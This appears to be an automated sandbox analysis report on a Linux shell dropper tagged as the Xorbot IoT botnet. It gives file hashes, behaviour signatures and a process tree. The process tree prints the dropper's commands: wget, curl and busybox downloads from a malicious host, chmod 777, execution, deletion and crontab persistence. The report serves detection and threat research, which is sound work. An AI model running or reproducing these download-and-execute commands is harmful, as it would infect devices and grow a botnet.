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Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/02/2025, 03:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e30ffb2eaaca92a1709929457fea3835

  • SHA1

    74c6b5d3241f81e97f9ffb9cc0024d1891fca787

  • SHA256

    ea613e9d026e2a4172b790331d44ed6ab4118b9dca3a6fbd53e0135b97e0d30b

  • SHA512

    6ebd2a3b7566114e474308ecf3beb317db5e0434eafebebb917c39627d2a8501cedd6e28b5ff5d139f97b067587b628cc4464eb9444fa8af209988a3d987d45d

  • SSDEEP

    192:lUhghhYFhgShMhQhq/P5tqUUZ+4hghhYFhgShMhQhq/PRsc:lUShOFSS2WqgUUI4ShOFSS2Wq

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2053) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:709
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:712
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:714
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:739
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:753
      • /bin/chmod
        chmod 777 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • File and Directory Permissions Modification
        PID:758
      • /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        ./1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
          PID:759
        • /bin/rm
          rm 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
          2⤵
            PID:763
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:764
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:774
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:812
          • /bin/chmod
            chmod 777 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
            2⤵
            • File and Directory Permissions Modification
            PID:816
          • /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
            ./4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:818
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:820
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:821
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:824
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:825
                • /bin/rm
                  rm 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
                  2⤵
                    PID:833
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
                    2⤵
                    • System Network Configuration Discovery
                    PID:836
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
                    2⤵
                    • System Network Configuration Discovery
                    PID:837
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:839
                  • /bin/chmod
                    chmod 777 vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
                    2⤵
                    • File and Directory Permissions Modification
                    PID:840
                  • /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
                    ./vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
                    2⤵
                      PID:841
                    • /bin/rm
                      rm vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
                      2⤵
                        PID:843
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
                        2⤵
                          PID:844
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
                          2⤵
                          • Reads runtime system information
                          PID:845
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
                          2⤵
                            PID:847
                          • /bin/chmod
                            chmod 777 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
                            2⤵
                            • File and Directory Permissions Modification
                            PID:848
                          • /tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
                            ./793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
                            2⤵
                              PID:849
                            • /bin/rm
                              rm 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
                              2⤵
                                PID:850
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
                                2⤵
                                • System Network Configuration Discovery
                                PID:851
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
                                2⤵
                                • System Network Configuration Discovery
                                PID:852
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:854
                              • /bin/chmod
                                chmod 777 TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
                                2⤵
                                • File and Directory Permissions Modification
                                PID:855
                              • /tmp/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
                                ./TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
                                2⤵
                                  PID:856
                                • /bin/rm
                                  rm TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
                                  2⤵
                                    PID:858
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:859

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /var/spool/cron/crontabs/tmp.zQDCWd

                                  Filesize

                                  210B

                                  MD5

                                  853aee705fc2240139454b4eaff764ac

                                  SHA1

                                  44476595b2df8a0ec66c2b97a3e2c61f8bf76cff

                                  SHA256

                                  2c880f14462d8520bc7be62ac7ec873ef51303feeb837d6f816c31ba21fd8281

                                  SHA512

                                  5665e36a4b26cb324e959aa866e140764f60227c92daefd21e7955af7466be5bf191ae493de6ac3b9c60f032e63b0c2a159d1b2122e309ac534601b140b929a8